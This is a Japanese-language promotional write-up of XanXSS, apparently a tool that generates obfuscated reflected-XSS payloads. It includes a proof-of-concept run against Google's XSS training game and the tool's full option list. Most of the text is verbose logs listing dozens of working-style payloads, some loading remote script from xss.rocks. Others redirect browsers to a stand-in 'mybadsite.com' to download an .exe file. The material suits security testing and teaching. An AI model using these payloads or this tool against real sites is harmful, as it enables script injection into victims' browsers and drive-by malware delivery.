XanXSS は、テンプレートに基づいてペイロードを生成する反射型 XSS 検索ツールです（DOM 対応は近日公開予定）。単にペイロードのリストを実行するだけの他の XSS スキャナーとは異なり、XanXSS はペイロードを識別不能にしようと試みます。例：
<xAnXSS</TitLE></STYLE><SVG/ONload='alERt(1);'/></XaNxSs</titLe></StYlE><SvG/ONlOAD='alerT(1);'/>
</scRIPt>
/>cLIcK Me!</b</TextaRea></TiTLE><BUTtON ONcLIck='aleRT(1);'/>XaNxss</TEXTaRea>
<Svg/onLoad='alErT((1));'/>
XanXSS では、すべてのペイロードが異なります。XanXSS は、指定された数のペイロードが見つかるか、タイマーが最大時間に達するまでペイロードを実行することで動作し、長時間のループを防ぎます。XanXSS に含まれる機能の一部は以下の通りです：
-H を使用して独自のヘッダーを渡す機能-P を使用してポリグロットスクリプトを生成する機能--proxy を使用してプロキシ経由で実行する機能この概念実証では、https://xss-game.appspot.com/level1/frame を使用します。
admin@TBG-a0216:~/bin/python/xanxss$ python xanxss.py -u "http://xss-game.appspot.com/level1/frame?query=" -a 12 -t 12 -f 25 -v
____ ___ ____ ___ _________ _________
\ \/ /____ ____ \ \/ / / _____// _____/
\ /\__ \ / \ \ / \_____ \ \_____ \
/ \ / __ \| | \/ \ / \/ \
/___/\ (____ /___| /___/\ \/_______ /_______ /
\_/ \/ \/ \_/ \/ \/
Twitter-> @stay__salty
Github --> ekultek
Version---> v(0.1)
[info][16:37:34] using default payloads
[info][16:37:34] generating payloads
[info][16:37:34] running payloads through tampering procedures
[info][16:37:34] payloads tampered successfully
[info][16:37:34] running payloads
[debug][16:37:34] running payload '<xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>'
[debug][16:37:34] running payload '<SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>'
[debug][16:37:34] running payload '<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>'
[debug][16:37:34] running payload '</sCRipt>'
[debug][16:37:34] running payload '<SCRIPT/*/srC=">A=%0aprompT,A(();=%09'htTp://xSs.rockS/XSs.Js'</TeXTARea></TiTLE><buTTOn oncLiCK='ALeRT(1);'/>XAnXsS</tEXTARea></scrIPTjaVaSCRipT:/*--></sCRIPt>'
[debug][16:37:35] running payload '</SCripT>'
[debug][16:37:35] running payload '<XAnXSS</STYlE><SVg/OnLOAd='aLeRT(1));'/></xAnXsSjaVasCRIpt:/*--></scrIpt>'
[debug][16:37:35] running payload '<sCRIPt`Src=+cOnFiRm());=+'htTP://xSs.rOCKs/xsS.js'</TextaREA></tiTle><ButTon ONCliCK='AlErt(1);'/>xanxSS</TeXTarEa></SCriPtJAvaScrIPt:/*--></SCrIpt>'
[debug][16:37:35] running payload '<scRIpT</title></stYle><sVG/onlOAD='AlERT(1));'/>aLert((1));</scRipT</titLE></STyLe><sVG/oNlOad='aLeRt((1));'/>'
[debug][16:37:35] running payload '<SC\u009lripT/*/SrC=%0aConFirm();= 'hTTP://xsS.ROcks/xSs.js'</TITle></StYlE><svg/ONLOad='ALerT(1);'/></ScriPT</StyLe><svG/OnLOAd='ALert((1);'/>'
[debug][16:37:35] running payload '<B//ONMOuSEOver=">ConFIrm(();= wIndow.LoCATIoN= \u005g;(pRoMPT))``;=%0A'htTpS://MyBaDSitE.cOM/dOwnLoAd.phP?iTem=+(pRomPt)``;=%0apuMPEDuPkICKs.exE'jaVAScrIpt:/*--></sCrIPt>ClIcK/*/mE!</b</tiTLe></sTyLE><sVG/OnLoAd='aLert(1));'/>'
[debug][16:37:35] running payload '<IfRA\u007pme%00SrC=%0AcOnFIRm(());=%0a"jaVAScriPT:pRoMPT(1)"jAVaScRIpt:/*--></SCriPt>'
[debug][16:37:36] running payload '</TiTLe><BUttoN oNcliCK='aLERt((1));'/>XanXss</texTAReA>'
[debug][16:37:36] running payload '</sCripT>'
[debug][16:37:36] running payload '<SVg/oNLoad='ALErT(1));'/>'
[debug][16:37:36] running payload '<script</tITLE></style><SVG/onLOAD='alerT(1);'/>AleRt(1);</ScRIpTjAvASCrIPT:/*--></scRIPt>'
[debug][16:37:36] running payload '<XaNxSs</tITle></sTYlE><SVg/ONload='aLERT((1);'/></xANxsS</stYLE><Svg/OnlOAD='AleRt(1);'/>'
[debug][16:37:36] running payload '<b//ONmOUSEoVEr=%0D[8].fInd(coNfIrM);=%09WinDoW.location=%0A(COnfiRm)(();= 'htTPS://MYBadsite.cOM/DoWNlOaD.php?ITEm=+COnFIrM();=+puMPEDupKickS.ExE'</styLe><sVG/OnLOAd='alERt((1);'/>CLick%00Me!</b</sTYlE><SVG/onloAD='AlERt(1);'/>'
[debug][16:37:37] running payload '<scriPT</styLE><SvG/ONloaD='aLERT(1);'/>ALeRt(1);</SCrIPt</tiTLe></STYlE><sVG/OnloAd='aLeRT(1\u009x);'/>'
[debug][16:37:37] running payload '</sTyle><svg/oNLOad='alert((1);'/>'
[debug][16:37:37] running payload '<b/*/OnmOusEOver= A=%0apROMpt,A();=+wINdOW.LOCAtIon=">co\U006EfiR\u006\u003id();=%09'HTtPS://MYBAdsiTE.com/doWNload.php?itEm=+((CoNfIrm)();=">puMpedUPKickS.eXe'</teXtaREa></tiTLe><BUTTON oNclIck='aLeRT((1);'/>XanXsS</texTAREA>cLICk/*/Me!</B</StylE><SVG/ONloAd='aLERt((1));'/>'
[debug][16:37:37] running payload '<XANxSSJaVaScRIpt:/*--></SCripT></XAnXSs</TExtAREa></tITle\u008w><b\u009fuTTON oNclIck='Ale\u003rRT((1);'/>xANXss</TEXTArEA>'
[debug][16:37:37] running payload '<SCript/*/sRC=+A= prOmpt,A();= 'HtTp://XsS.rocKS/xsS.JS'</stylE><sVG/onLoad='AlErT((1);'/></SCriptjAvaScriPt:/*--></ScrIpt>'
[debug][16:37:37] running payload '</StYLe><svg/onloAD='alERt(1);'/>'
[debug][16:37:38] running payload '<B/*/ONmouSeOvEr=%0Aa= prOmpT,A();=%09WIndOw.LOCAtION=%0Aa=%09prompt,a();=%0A'hTTps://MYBadsITe.COM/DOWNLOAD.PHp?ITeM= cO\u006Efir\u006D());=%0dPumPeduPkicks.EXE'</tITlE></StyLE><svg/OnlOAD='aLerT((1));'/>clIcK mE!</bJavASCript:/*--></sCrIPT>'
[warning][16:37:48] times up dumping found
[info][16:37:48] working payloads:
--------------------------------------------------
~~> <xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>
~~> <SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>
~~> <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>
--------------------------------------------------
[info][16:37:48] found a total of 3 working payloads
admin@TBG-a0216:~/bin/python/xanxss$
次に、これらのスクリプトがウェブサイトの HTML 内にあるか確認しましょう：
Payload:<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>
Payload: <SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>
Payload: <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>
XanXSS にはプロキシを使用する機能が完備されており、proxychains との互換性があり、カスタムヘッダーを追加することもできます。以下に、便利なオプションの完全なリストを掲載します：
usage: xanxss.py [-h] [-u http://test.com/test.php?id=] [-a VERIFY]
[-f AMOUNT] [-t TIME] [-p SCRIPT, [SCRIPT, ...]]
[-F FILE-PATH] [-v] [--proxy TYPE://IP:PORT]
[-H HEADER=VALUE,HEADER:VALUE] [--throttle TIME secs] [-P]
optional arguments:
-h, --help show this help message and exit
-u http://test.com/test.php?id=, --url http://test.com/test.php?id=
pass a URL to test for XSS vulnerabilities. it is
recommended that you use a URL with a query parameter
-a VERIFY, --amount VERIFY
how many verifications steps to be taken, this will
determine how reliable the payload is. the more
verification steps the more reliable the payload will
be (*default=5)
-f AMOUNT, --find AMOUNT
attempt to find this amount of working payloads,
specifying this does not guarantee you will find this
amount of working payloads (*default=25)
-t TIME, --time TIME amount of time in seconds to spend on testing, this
will be used as a timer for the verification
(*default=35s)
-p SCRIPT, [SCRIPT, ...], --payloads SCRIPT, [SCRIPT, ...]
pass a comma separated list of your own payloads, must
contain at least 5 payloads
-F FILE-PATH, --file FILE-PATH
pass a textual file containing payloads one per line,
must contain at least 5 payloads
-v, --verbose run in verbose mode and display more output
(*default=False)
--proxy TYPE://IP:PORT
pass a proxy in the format type://ip:port
-H HEADER=VALUE,HEADER:VALUE, --headers HEADER=VALUE,HEADER:VALUE
add your own custom headers to the request
(*default=connection,user-agent)
--throttle TIME (secs)
throttle each request with a sleep time (*default=0)
-P, --polyglot generate a polyglot script to append to the end of the
running scripts, if there is XSS this should find it
(*default=False)
もしバグや問題を見つけた場合は、issue を作成してください。